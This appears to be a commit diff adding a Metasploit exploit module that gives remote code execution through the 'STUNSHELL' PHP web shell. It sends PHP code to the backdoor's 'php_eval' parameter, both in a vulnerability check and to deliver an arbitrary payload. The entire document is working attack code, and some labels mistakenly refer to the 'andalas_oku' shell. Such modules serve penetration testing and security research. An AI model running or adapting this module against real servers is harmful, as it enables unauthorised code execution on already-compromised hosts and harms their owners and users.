|
| 1 | +require 'msf/core' |
| 2 | + |
| 3 | +class Metasploit3 < Msf::Exploit::Remote |
| 4 | + |
| 5 | + include Msf::Exploit::Remote::HttpClient |
| 6 | + |
| 7 | + def initialize(info={}) |
| 8 | + super(update_info(info, |
| 9 | + 'Name' => '"STUNSHELL" Web Shell Remote Code Execution(PHP eval)', |
| 10 | + 'Description' => %q{ |
| 11 | + This module exploits unauthenticated versions of the "STUNSHELL" web shell. This |
| 12 | + module works when safe mode is enabled on the web server. This shell is widely |
| 13 | + used in automated RFI payloads. |
| 14 | + }, |
| 15 | + 'License' => MSF_LICENSE, |
| 16 | + 'Author' => |
| 17 | + [ |
| 18 | + 'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module |
| 19 | + ], |
| 20 | + 'References' => |
| 21 | + [ |
| 22 | + ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/STUNSHELL'], |
| 23 | + ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=a4cd8ba05eb6ba7fb86dd66bed968007'], |
| 24 | + ], |
| 25 | + 'Privileged' => false, |
| 26 | + 'Payload' => |
| 27 | + { |
| 28 | + 'Keys' => ['php'], |
| 29 | + 'Space' => 10000, |
| 30 | + 'DisableNops' => true, |
| 31 | + }, |
| 32 | + 'Platform' => ['php'], |
| 33 | + 'Arch' => ARCH_PHP, |
| 34 | + 'Targets' => [['Automatic',{}]], |
| 35 | + 'DisclosureDate' => 'March 23 2013', |
| 36 | + 'DefaultTarget' => 0)) |
| 37 | + |
| 38 | + register_options( |
| 39 | + [ |
| 40 | + OptString.new('URI',[true, "The path to the andalas_oku shell", "/"]), |
| 41 | + ],self.class) |
| 42 | + end |
| 43 | + |
| 44 | + def check |
| 45 | + uri = normalize_uri(datastore['URI']) |
| 46 | + request_parameters = { |
| 47 | + 'method' => 'POST', |
| 48 | + 'uri' => uri, |
| 49 | + 'vars_post' => |
| 50 | + { |
| 51 | + 'cmd' => "php_eval", |
| 52 | + 'php_eval' => "print 'andalas_oku test parameter';" |
| 53 | + } |
| 54 | + } |
| 55 | + shell = send_request_cgi(request_parameters) |
| 56 | + if (shell and shell.body =~ /andalas_oku test parameter/) |
| 57 | + return Exploit::CheckCode::Vulnerable |
| 58 | + end |
| 59 | + return Exploit::CheckCode::Safe |
| 60 | + end |
| 61 | + |
| 62 | + def http_send_command(cmd, opts = {}) |
| 63 | + uri = normalize_uri(datastore['URI']) |
| 64 | + request_parameters = { |
| 65 | + 'method' => 'POST', |
| 66 | + 'uri' => uri, |
| 67 | + 'vars_post' => |
| 68 | + { |
| 69 | + 'cmd' => "php_eval", |
| 70 | + "php_eval" => cmd |
| 71 | + } |
| 72 | + } |
| 73 | + res = send_request_cgi(request_parameters) |
| 74 | + end |
| 75 | + |
| 76 | + def execute_command(cmd, opts = {}) |
| 77 | + http_send_command("#{cmd}") |
| 78 | + end |
| 79 | + |
| 80 | + def exploit |
| 81 | + http_send_command(payload.encoded) |
| 82 | + end |
| 83 | +end |
0 commit comments